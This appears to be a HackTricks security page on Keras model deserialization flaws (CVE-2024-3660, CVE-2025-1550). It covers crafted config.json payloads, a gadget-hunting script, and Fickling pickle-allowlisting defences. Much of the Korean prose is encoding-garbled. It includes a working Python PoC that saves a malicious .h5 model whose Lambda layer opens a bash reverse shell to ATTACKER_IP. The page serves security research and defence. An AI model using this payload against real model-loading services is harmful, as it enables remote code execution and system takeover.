Keras Model Deserialization RCE and Gadget Hunting
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ Keras model deserialization pipeline์ ๋ํ ์ค์ ์ต์คํ๋ก์ ๊ธฐ๋ฒ์ ์์ฝํ๊ณ , ๋ค์ดํฐ๋ธ .keras ํฌ๋งท์ ๋ด๋ถ ๊ตฌ์กฐ์ ๊ณต๊ฒฉ ํ๋ฉด์ ์ค๋ช ํ๋ฉฐ, Model File Vulnerabilities (MFVs)์ post-fix gadgets๋ฅผ ์ฐพ๊ธฐ ์ํ ์ฐ๊ตฌ์ ํดํท์ ์ ๊ณตํฉ๋๋ค.
.keras model format internals
.a .keras file is a ZIP archive containing at least:
- metadata.json โ ์ผ๋ฐ ์ ๋ณด (์: Keras ๋ฒ์ )
- config.json โ ๋ชจ๋ธ ์ํคํ ์ฒ (์ฃผ์ ๊ณต๊ฒฉ ํ๋ฉด)
- model.weights.h5 โ HDF5 ํ์์ ๊ฐ์ค์น
config.json์ ์ฌ๊ท์ ์ญ์ง๋ ฌํ๋ฅผ ์ฃผ๋ํฉ๋๋ค: Keras๊ฐ ๋ชจ๋์ importํ๊ณ , ํด๋์ค/ํจ์๋ฅผ ํด์ํ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋์ ๋๋ฆฌ๋ก๋ถํฐ ๋ ์ด์ด/๊ฐ์ฒด๋ฅผ ์ฌ๊ตฌ์ฑํฉ๋๋ค.
Example snippet for a Dense layer object:
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
์ญ์ง๋ ฌํ๋ ๋ค์์ ์ํํฉ๋๋ค:
- module/class_name ํค์์ ๋ชจ๋ ์ํฌํธ ๋ฐ ์ฌ๋ณผ ํด์
- from_config(โฆ) ๋๋ ์์ฑ์ ํธ์ถ(๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ kwargs ์ฌ์ฉ)
- ์ค์ฒฉ ๊ฐ์ฒด(activations, initializers, constraints ๋ฑ)๋ก์ ์ฌ๊ท
์ญ์ฌ์ ์ผ๋ก, ์ด๊ฒ์ config.json์ ์กฐ์ํ๋ ๊ณต๊ฒฉ์์๊ฒ ์ธ ๊ฐ์ง ํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ๋ ธ์ถํ๋ค:
- ์ด๋ค ๋ชจ๋์ด ์ํฌํธ๋๋์ง ์ ์ด
- ์ด๋ค ํด๋์ค/ํจ์๊ฐ ํด์๋๋์ง ์ ์ด
- constructors/from_config์ ์ ๋ฌ๋๋ kwargs๋ฅผ ์ ์ด
CVE-2024-3660 โ Lambda-layer bytecode RCE
๊ทผ๋ณธ ์์ธ:
- Lambda.from_config()๋ python_utils.func_load(โฆ)๋ฅผ ์ฌ์ฉํ๋๋ฐ, ์ด๋ ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ ๋ฐ์ดํธ๋ฅผ base64๋ก ๋์ฝ๋ํ๊ณ marshal.loads()๋ฅผ ํธ์ถํ๋ค; Python์ unmarshalling์ ์ฝ๋ ์คํ์ด ๊ฐ๋ฅํ๋ค.
Exploit idea (simplified payload in config.json):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
Mitigation:
- Keras enforces safe_mode=True by default. Serialized Python functions in Lambda are blocked unless a user explicitly opts out with safe_mode=False.
Notes:
- ๋ ๊ฑฐ์ ํฌ๋งท(๊ตฌํ HDF5 ์ ์ฅ) ๋๋ ์ค๋๋ ์ฝ๋๋ฒ ์ด์ค๋ ์ต์ ๊ฒ์ฌ๋ฅผ ๊ฐ์ ํ์ง ์์ ์ ์์ผ๋ฏ๋ก โdowngradeโ ์คํ์ผ ๊ณต๊ฒฉ์ด ํผํด์๊ฐ ๊ตฌํ ๋ก๋๋ฅผ ์ฌ์ฉํ ๋ ์ฌ์ ํ ์ ์ฉ๋ ์ ์์ต๋๋ค.
CVE-2025-1550 โ Keras โค 3.8์์ ์์์ ๋ชจ๋ ์ํฌํธ
Root cause:
- _retrieve_class_or_fn๊ฐ config.json์ผ๋ก๋ถํฐ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ชจ๋ ๋ฌธ์์ด์ ์ฌ์ฉํด ์ ํ ์๋ importlib.import_module()๋ฅผ ํธ์ถํ์ต๋๋ค.
- Impact: ์ค์น๋ ์ด๋ค ๋ชจ๋์ด๋ ์์๋ก ์ํฌํธ ๊ฐ๋ฅ(๋๋ sys.path์ ๊ณต๊ฒฉ์๊ฐ ์ฌ์ด๋์ ๋ชจ๋). ์ํฌํธ ์ ์ฝ๋๊ฐ ์คํ๋๊ณ , ์ดํ ๊ณต๊ฒฉ์ kwargs๋ก ๊ฐ์ฒด ์์ฑ์ด ๋ฐ์ํฉ๋๋ค.
Exploit idea:
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
๋ณด์ ๊ฐ์ ์ฌํญ (Keras โฅ 3.9):
- Module allowlist: ์ํฌํธ๊ฐ ๊ณต์ ์ํ๊ณ ๋ชจ๋๋ก ์ ํ๋จ: keras, keras_hub, keras_cv, keras_nlp
- Safe mode default: safe_mode=True์ ์์ ํ์ง ์์ Lambda ์ง๋ ฌํ-ํจ์ ๋ก๋ฉ์ ์ฐจ๋จํจ
- Basic type checking: ์ญ์ง๋ ฌํ๋ ๊ฐ์ฒด๋ ์์ ํ์ ๊ณผ ์ผ์นํด์ผ ํจ
Practical exploitation: TensorFlow-Keras HDF5 (.h5) Lambda RCE
๋ง์ ํ๋ก๋์ ์คํ์ ์ฌ์ ํ ๋ ๊ฑฐ์ TensorFlow-Keras HDF5 ๋ชจ๋ธ ํ์ผ(.h5)์ ํ์ฉํฉ๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์๋ฒ๊ฐ ๋์ค์ ๋ก๋ํ๊ฑฐ๋ inference๋ฅผ ์คํํ ๋ชจ๋ธ์ ์ ๋ก๋ํ ์ ์๋ค๋ฉด, Lambda ๋ ์ด์ด๋ load/build/predict ์ ์์์ Python์ ์คํํ ์ ์์ต๋๋ค.
์ญ์ง๋ ฌํ๋๊ฑฐ๋ ์ฌ์ฉ๋ ๋ reverse shell์ ์คํํ๋ ์ ์ฑ .h5๋ฅผ ์ ์ํ๊ธฐ ์ํ ์ต์ PoC:
import tensorflow as tf
def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")
return x
m = tf.keras.Sequential()
m.add(tf.keras.layers.Input(shape=(64,)))
m.add(tf.keras.layers.Lambda(exploit))
m.compile()
m.save("exploit.h5") # legacy HDF5 container
Notes and reliability tips:
- ํธ๋ฆฌ๊ฑฐ ํฌ์ธํธ: ์ฝ๋๊ฐ ์ฌ๋ฌ ๋ฒ ์คํ๋ ์ ์์(์: during layer build/first call, model.load_model, and predict/fit). Make payloads idempotent.
- ๋ฒ์ ๊ณ ์ : ์ง๋ ฌํ ๋ถ์ผ์น๋ฅผ ํผํ๋ ค๋ฉด ๋์์ TF/Keras/Python ๋ฒ์ ๊ณผ ์ผ์น์์ผ๋ผ. ์: ๋์์ด ๊ทธ๊ฒ์ ์ฌ์ฉํ๋ค๋ฉด Python 3.8๊ณผ TensorFlow 2.13.1 ํ์์ ๋น๋ ์ํฐํฉํธ๋ฅผ ์์ฑํ๋ผ.
- ๋น ๋ฅธ ํ๊ฒฝ ๋ณต์ :
FROM python:3.8-slim
RUN pip install tensorflow-cpu==2.13.1
- ๊ฒ์ฆ: os.system(โping -c 1 YOUR_IPโ) ๊ฐ์ ๋ฌดํดํ ํ์ด๋ก๋๋ ์คํ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค(์: tcpdump๋ก ICMP๋ฅผ ๊ด์ฐฐ). reverse shell๋ก ์ ํํ๊ธฐ ์ ์.
allowlist ๋ด๋ถ์ Post-fix gadget ํ๋ฉด
allowlisting ๋ฐ safe mode ์ํ์์๋ ํ์ฉ๋ Keras callables ์ฌ์ด์๋ ๋์ ํ๋ฉด์ด ๋จ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, keras.utils.get_file์ ์์์ URL์ ์ฌ์ฉ์๊ฐ ์ ํํ ์์น๋ก ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค.
Lambda๋ฅผ ํตํด ํ์ฉ๋ ํจ์๋ฅผ ์ฐธ์กฐํ๋ gadget (not serialized Python bytecode):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
์ค์ํ ์ ํ์ฌํญ:
- Lambda.call()๋ ๋์ callable์ ํธ์ถํ ๋ ์ ๋ ฅ ํ ์๋ฅผ ์ฒซ ๋ฒ์งธ ์์น ์ธ์๋ก ์์ ์ถ๊ฐํฉ๋๋ค. ์ ํ๋ gadgets๋ ์ถ๊ฐ ์์น ์ธ์(extra positional arg)๋ฅผ ํ์ฉํ๊ฑฐ๋ *args/**kwargs๋ฅผ ๋ฐ์๋ค์ฌ์ผ ํฉ๋๋ค. ์ด ์ ์ฝ์ ์ด๋ค ํจ์๋ค์ด ์ฌ์ฉ ๊ฐ๋ฅํ์ง๋ฅผ ์ ํํฉ๋๋ค.
ML pickle import allowlisting for AI/ML models (Fickling)
๋ง์ AI/ML ๋ชจ๋ธ ํฌ๋งท(PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, ์ค๋๋ TensorFlow ์ํฐํฉํธ ๋ฑ)์ Python pickle ๋ฐ์ดํฐ๋ฅผ ํฌํจํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ๋ก๋ ์ค์ RCE ๋๋ ๋ชจ๋ธ ๊ต์ฒด๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํด pickle GLOBAL imports์ ๊ฐ์ฒด ์์ฑ์๋ฅผ ์ผ์์ ์ผ๋ก ์ ์ฉํฉ๋๋ค. ๋ธ๋๋ฆฌ์คํธ ๊ธฐ๋ฐ ์ค์บ๋๋ ์ข ์ข ์๋กญ๊ฑฐ๋ ๋ชฉ๋ก์ ์๋ ์ํํ imports๋ฅผ ๋์นฉ๋๋ค.
์ค์ฉ์ ์ธ fail-closed ๋ฐฉ์ด๋ Python์ pickle deserializer๋ฅผ ํ (hook)ํ๊ณ ์ธํฝํด๋ง ์ค์ ๊ฒํ ๋ ๋ฌดํดํ ML ๊ด๋ จ imports ์งํฉ๋ง ํ์ฉํ๋ ๊ฒ์ ๋๋ค. Trail of Bitsโ Fickling์ ์ด ์ ์ฑ ์ ๊ตฌํํ๋ฉฐ ์์ฒ ๊ฐ์ ๊ณต๊ฐ Hugging Face pickles์์ ๊ตฌ์ถ๋ ์ ๋ณ๋ ML import allowlist๋ฅผ ์ ๊ณตํฉ๋๋ค.
โ์์ ํโ imports์ ๋ํ ๋ณด์ ๋ชจ๋ธ(์ฐ๊ตฌ์ ์ค๋ฌด์์ ์ถ์ถํ ์ง๊ด): pickle์์ ์ฌ์ฉํ๋ import๋ ์ฌ๋ณผ์ ๋์์ ๋ค์์ ๋ง์กฑํด์ผ ํฉ๋๋ค:
- ์ฝ๋๋ฅผ ์คํํ๊ฑฐ๋ ์คํ์ ์ ๋ฐํ์ง ์์์ผ ํจ(์ปดํ์ผ๋/์์ค ์ฝ๋ ๊ฐ์ฒด, shelling out, hooks ๋ฑ ์์)
- ์์์ ์์ฑ์ด๋ ํญ๋ชฉ์ get/set ํ์ง ์์์ผ ํจ
- pickle VM์ผ๋ก๋ถํฐ ๋ค๋ฅธ Python ๊ฐ์ฒด๋ฅผ import ํ๊ฑฐ๋ ์ฐธ์กฐ๋ฅผ ์ป์ง ์์์ผ ํจ
- ๊ฐ์ ์ ์ผ๋ก๋ผ๋ ๋ณด์กฐ deserializer(์: marshal, nested pickle)๋ฅผ ํธ๋ฆฌ๊ฑฐํ์ง ์์์ผ ํจ
ํ๋ก์ธ์ค ์์ ์ ๊ฐ๋ฅํ ํ ์ผ์ฐ Fickling์ ๋ณดํธ๋ฅผ ํ์ฑํํ์ฌ ํ๋ ์์ํฌ(torch.load, joblib.load ๋ฑ)๊ฐ ์ํํ๋ ๋ชจ๋ pickle ๋ก๋๊ฐ ๊ฒ์ฌ๋๋๋ก ํ์ธ์:
import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()
์ด์ ํ:
- ํ์ํ ๊ฒฝ์ฐ hooks๋ฅผ ์ผ์์ ์ผ๋ก ๋นํ์ฑํ/์ฌํ์ฑํํ ์ ์์ต๋๋ค:
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
- ์ด๋ฏธ known-good model์ด ์ฐจ๋จ๋ ๊ฒฝ์ฐ, ์ฌ๋ณผ์ ๊ฒํ ํ ๋ค ํ๊ฒฝ์ allowlist๋ฅผ ํ์ฅํ์ธ์:
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
-
Fickling์ ๋ ์ธ๋ฐํ ์ ์ด๋ฅผ ์ํ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ธ ๋ฐํ์ ๊ฐ๋๋ฅผ ์ ๊ณตํฉ๋๋ค:
-
fickling.always_check_safety() โ ๋ชจ๋ pickle.load()์ ๋ํ ๊ฒ์ฌ๋ฅผ ๊ฐ์ ํฉ๋๋ค
-
with fickling.check_safety(): โ ๋ฒ์ ๊ธฐ๋ฐ ์ ์ฉ์ ์ํด
-
fickling.load(path) / fickling.is_likely_safe(path) โ ์ผํ์ฑ ๊ฒ์ฌ์ฉ
-
๊ฐ๋ฅํ๋ฉด non-pickle ๋ชจ๋ธ ํฌ๋งท(์: SafeTensors)์ ์ ํธํ์ธ์. ๋ง์ฝ pickle์ ๋ฐ์๋ค์ฌ์ผ ํ๋ค๋ฉด, ๋คํธ์ํฌ ์์๋ฐ์ด๋(egress) ์์ด ์ต์ ๊ถํ์ผ๋ก ๋ก๋๋ฅผ ์คํํ๊ณ allowlist๋ฅผ ์ ์ฉํ์ธ์.
This allowlist-first ์ ๋ต์ ํธํ์ฑ์ ๋๊ฒ ์ ์งํ๋ฉด์ ์ผ๋ฐ์ ์ธ ML pickle ์ต์คํ๋ก์ ๊ฒฝ๋ก๋ฅผ ํจ๊ณผ์ ์ผ๋ก ์ฐจ๋จํฉ๋๋ค. ToB์ ๋ฒค์น๋งํฌ์์ Fickling์ ํฉ์ฑ ์ ์ฑ ํ์ผ์ 100%๋ฅผ ํ๋๊ทธํ์ผ๋ฉฐ, ์์ Hugging Face ์ ์ฅ์์ ์ ์ ํ์ผ ์ค ์ฝ 99%๋ฅผ ํ์ฉํ์ต๋๋ค.
์ฐ๊ตฌ์ ํดํท
- ํ์ฉ๋ ๋ชจ๋์์์ ์ฒด๊ณ์ ์ธ gadget ๋ฐ๊ฒฌ
keras, keras_nlp, keras_cv, keras_hub ์ ๋ฐ์์ ํ๋ณด callables๋ฅผ ์ด๊ฑฐํ๊ณ ํ์ผ/๋คํธ์ํฌ/ํ๋ก์ธ์ค/ํ๊ฒฝ(env)์ ์ํฅ์ ์ฃผ๋ ์ฌ์ด๋ ์ดํํธ๋ฅผ ๊ฐ์ง ๊ฒ๋ค์ ์ฐ์ ์์๋ก ๋ก๋๋ค.
allowlisted Keras ๋ชจ๋์์ ์ ์ฌ์ ์ผ๋ก ์ํํ callables ์ด๊ฑฐ
```python import importlib, inspect, pkgutilALLOWLIST = [โkerasโ, โkeras_nlpโ, โkeras_cvโ, โkeras_hubโ]
seen = set()
def iter_modules(mod): if not hasattr(mod, โpathโ): return for m in pkgutil.walk_packages(mod.path, mod.name + โ.โ): yield m.name
candidates = [] for root in ALLOWLIST: try: r = importlib.import_module(root) except Exception: continue for name in iter_modules(r): if name in seen: continue seen.add(name) try: m = importlib.import_module(name) except Exception: continue for n, obj in inspect.getmembers(m): if inspect.isfunction(obj) or inspect.isclass(obj): sig = None try: sig = str(inspect.signature(obj)) except Exception: pass doc = (inspect.getdoc(obj) or โโ).lower() text = fโ{name}.{n} {sig} :: {doc}โ
Heuristics: look for I/O or network-ish hints
if any(x in doc for x in [โdownloadโ, โfileโ, โpathโ, โopenโ, โurlโ, โhttpโ, โsocketโ, โenvโ, โprocessโ, โspawnโ, โexecโ]): candidates.append(text)
print(โ\nโ.join(sorted(candidates)[:200]))
</details>
2) ์ง์ ์ญ์ง๋ ฌํ ํ
์คํธ (.keras ์์นด์ด๋ธ ๋ถํ์)
์กฐ์๋ dicts๋ฅผ Keras ์ญ์ง๋ ฌํ๊ธฐ์ ์ง์ ๋ฃ์ด ํ์ฉ๋๋ ํ๋ผ๋ฏธํฐ๋ฅผ ํ์
ํ๊ณ ๋ถ์์ฉ์ ๊ด์ฐฐํ๋ค.
```python
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
- ๋ฒ์ ๊ฐ ํ๋ก๋น ๋ฐ ํฌ๋งท
Keras๋ ์๋ก ๋ค๋ฅธ ๊ฐ๋๋ ์ผ๊ณผ ํฌ๋งท์ ๊ฐ์ง ์ฌ๋ฌ ์ฝ๋๋ฒ ์ด์ค/์๋์ ์กด์ฌํฉ๋๋ค:
- TensorFlow ๋ด์ฅ Keras: tensorflow/python/keras (๋ ๊ฑฐ์, ์ญ์ ์์ )
- tf-keras: ๋ณ๋๋ก ์ ์ง ๊ด๋ฆฌ๋จ
- Multi-backend Keras 3 (official): ๋ค์ดํฐ๋ธ .keras ๋์
์ฝ๋๋ฒ ์ด์ค์ ํฌ๋งท(.keras vs legacy HDF5) ์ ๋ฐ์์ ํ ์คํธ๋ฅผ ๋ฐ๋ณตํ์ฌ ํ๊ท๋ ๋๋ฝ๋ ๋ฐฉ์ด๋ฅผ ์ฐพ์๋ด์ธ์.
์ฐธ๊ณ ์๋ฃ
- Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)
- Keras PR #20751 โ Added checks to serialization
- CVE-2024-3660 โ Keras Lambda deserialization RCE
- CVE-2025-1550 โ Keras arbitrary module import (โค 3.8)
- huntr report โ arbitrary import #1
- huntr report โ arbitrary import #2
- HTB Artificial โ TensorFlow .h5 Lambda RCE to root
- Trail of Bits blog โ Ficklingโs new AI/ML pickle file scanner
- Fickling โ Securing AI/ML environments (README)
- Fickling pickle scanning benchmark corpus
- Picklescan, ModelScan, model-unpickler
- Sleepy Pickle attacks background
- SafeTensors project
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


